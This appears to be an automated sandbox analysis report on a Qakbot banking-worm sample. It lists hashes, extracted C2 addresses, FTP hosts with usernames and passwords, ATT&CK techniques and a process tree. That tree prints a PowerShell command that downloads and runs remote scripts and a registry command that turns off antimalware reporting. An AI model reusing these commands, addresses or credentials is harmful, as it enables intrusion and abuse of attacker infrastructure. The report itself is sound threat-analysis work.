Analysis

  • max time kernel
    148s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    08-05-2024 02:19

General

  • Target

    b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe

  • Size

    536KB

  • MD5

    4d9add7f38d2bfcfbc3d4bcf3f44e47d

  • SHA1

    c9198de89705f6983a50c445ed1866a24cc9c846

  • SHA256

    b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba

  • SHA512

    06e86fdfd21bfc8b91f1489bda9e17e27e5bc6855a4f91753353d4d8fbcb645ccef8b70e92eb2e5ed7edad55e87fe75e7a597310e464354313d01a8a6a068d32

  • SSDEEP

    6144:K3puL8eujbUcqbRI30RYAimlQY1KdZwzlW+2M0WybVGH/Itkug/i03s/nZYIVQV2:R8eSbcRYAplQYU3YlWOdT/pbqUVxg

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1

ps1.dropper

https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1

Extracted

Family

qakbot

Version

322.358

Campaign

1524770894

Credentials

  • Protocol:
    ftp
  • Host:
    37.60.244.211
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4AsEzIaMwi2d

  • Protocol:
    ftp
  • Host:
    198.38.77.162
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    kJm6DKVPfyiv

  • Protocol:
    ftp
  • Host:
    61.221.12.26
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    346HZGCMlwecz9S

  • Protocol:
    ftp
  • Host:
    67.222.137.18
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    p4a8k6fE1FtA3pR

  • Protocol:
    ftp
  • Host:
    107.6.152.61
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    RoP4Af0RKAAQ74V
C2

65.40.207.151:995

98.242.248.219:443

96.248.7.111:443

24.240.178.42:995

67.141.64.98:443

12.166.108.82:995

47.223.79.196:993

73.48.132.91:443

24.209.130.208:443

216.16.14.19:443

173.81.42.136:443

209.213.24.194:443

69.129.91.38:443

185.219.83.73:443

70.182.79.66:443

68.49.120.179:443

73.222.54.231:443

66.189.228.49:995

98.190.205.8:443

216.21.168.27:32101

Signatures

  • Qakbot/Qbot

    Qbot or Qakbot is a sophisticated worm with banking capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs

Processes

  • C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1080
  • C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1180
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1212
    • C:\Users\Admin\AppData\Local\Temp\b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe
      "C:\Users\Admin\AppData\Local\Temp\b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Users\Admin\AppData\Local\Temp\b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe
        "C:\Users\Admin\AppData\Local\Temp\b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe" /C
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3036
      • C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipivo.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipivo.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:2620
        • C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipivo.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipivo.exe" /C
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:2448
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2464
      • C:\Windows\system32\reg.exe
        C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
        3⤵
          PID:2516
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\zdxlfcykafgkxlepblevondalsjz.txt'"
          3⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2712
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:324
          • C:\Windows\SysWOW64\PING.EXE
            ping.exe -n 6 127.0.0.1
            4⤵
            • Runs ping.exe
            • Suspicious behavior: EnumeratesProcesses
            PID:780
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "-759720614-114551988-10829642891142499248-1346065353-1708930420-1692500942159465668"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:2552
    • C:\Windows\system32\conhost.exe
      \??\C:\Windows\system32\conhost.exe "6709464081603188433999079362-490326400938330376404741403446901449-173702388"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      PID:772

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Persistence

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Privilege Escalation

    Boot or Logon Autostart Execution

    1
    T1547

    Registry Run Keys / Startup Folder

    1
    T1547.001

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    System Information Discovery

    1
    T1082

    Remote System Discovery

    1
    T1018

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipiv.dat
      Filesize

      92B

      MD5

      2ee74921ed7e6b2559788baae8ff936e

      SHA1

      df4f5e28c383ce7329049f2037af4be56e52a415

      SHA256

      e1d4df1660a5fcb96400289bc31e77a8f01c07e0237e785e70b125c849ffb74c

      SHA512

      c1db4ee38eba5c5968959b647a63269d2c45114cec0f7eab6cfae0c25b6f4a2fe051a12038aa6e4a6e3c59cb1399094f74dc2c21adb7b7d32689948db3a2abc0

    • C:\Users\Admin\AppData\Roaming\Microsoft\Ipivop\ipivo.exe
      Filesize

      536KB

      MD5

      4d9add7f38d2bfcfbc3d4bcf3f44e47d

      SHA1

      c9198de89705f6983a50c445ed1866a24cc9c846

      SHA256

      b7a00ad06ccceff1cf5fe5c7fed8e0d43b456662721ec668f91681196a1cb3ba

      SHA512

      06e86fdfd21bfc8b91f1489bda9e17e27e5bc6855a4f91753353d4d8fbcb645ccef8b70e92eb2e5ed7edad55e87fe75e7a597310e464354313d01a8a6a068d32

    • memory/1080-42-0x0000000000350000-0x000000000037D000-memory.dmp
      Filesize

      180KB

    • memory/1080-40-0x0000000000320000-0x000000000034C000-memory.dmp
      Filesize

      176KB

    • memory/1080-44-0x0000000000380000-0x0000000000381000-memory.dmp
      Filesize

      4KB

    • memory/1080-46-0x0000000000380000-0x0000000000381000-memory.dmp
      Filesize

      4KB

    • memory/1080-47-0x0000000000320000-0x000000000034C000-memory.dmp
      Filesize

      176KB

    • memory/1180-56-0x0000000000240000-0x000000000026C000-memory.dmp
      Filesize

      176KB

    • memory/1212-71-0x0000000002DD0000-0x0000000002DFC000-memory.dmp
      Filesize

      176KB

    • memory/1888-0-0x00000000003F0000-0x00000000003F6000-memory.dmp
      Filesize

      24KB

    • memory/1888-80-0x00000000005B0000-0x00000000005D8000-memory.dmp
      Filesize

      160KB

    • memory/1888-79-0x0000000000810000-0x0000000000811000-memory.dmp
      Filesize

      4KB

    • memory/1888-75-0x00000000007E0000-0x0000000000809000-memory.dmp
      Filesize

      164KB

    • memory/1888-1-0x0000000000400000-0x0000000000489000-memory.dmp
      Filesize

      548KB

    • memory/1888-73-0x00000000005B0000-0x00000000005D8000-memory.dmp
      Filesize

      160KB

    • memory/2448-35-0x0000000000400000-0x0000000000489000-memory.dmp
      Filesize

      548KB

    • memory/2464-37-0x0000000000080000-0x00000000000EA000-memory.dmp
      Filesize

      424KB

    • memory/2464-59-0x0000000000080000-0x00000000000EA000-memory.dmp
      Filesize

      424KB

    • memory/2464-62-0x0000000000D20000-0x0000000000D4F000-memory.dmp
      Filesize

      188KB

    • memory/2464-61-0x0000000000D20000-0x0000000000D4F000-memory.dmp
      Filesize

      188KB

    • memory/2464-60-0x0000000000D20000-0x0000000000D4F000-memory.dmp
      Filesize

      188KB

    • memory/2464-58-0x0000000000D20000-0x0000000000D4F000-memory.dmp
      Filesize

      188KB

    • memory/2464-39-0x0000000000080000-0x00000000000EA000-memory.dmp
      Filesize

      424KB

    • memory/2620-19-0x0000000000290000-0x0000000000296000-memory.dmp
      Filesize

      24KB

    • memory/2620-36-0x0000000000400000-0x0000000000489000-memory.dmp
      Filesize

      548KB

    • memory/2712-27-0x000000001B6A0000-0x000000001B982000-memory.dmp
      Filesize

      2.9MB

    • memory/2712-28-0x0000000001F80000-0x0000000001F88000-memory.dmp
      Filesize

      32KB

    • memory/3036-8-0x0000000000400000-0x0000000000489000-memory.dmp
      Filesize

      548KB

    • memory/3036-7-0x0000000000300000-0x0000000000306000-memory.dmp
      Filesize

      24KB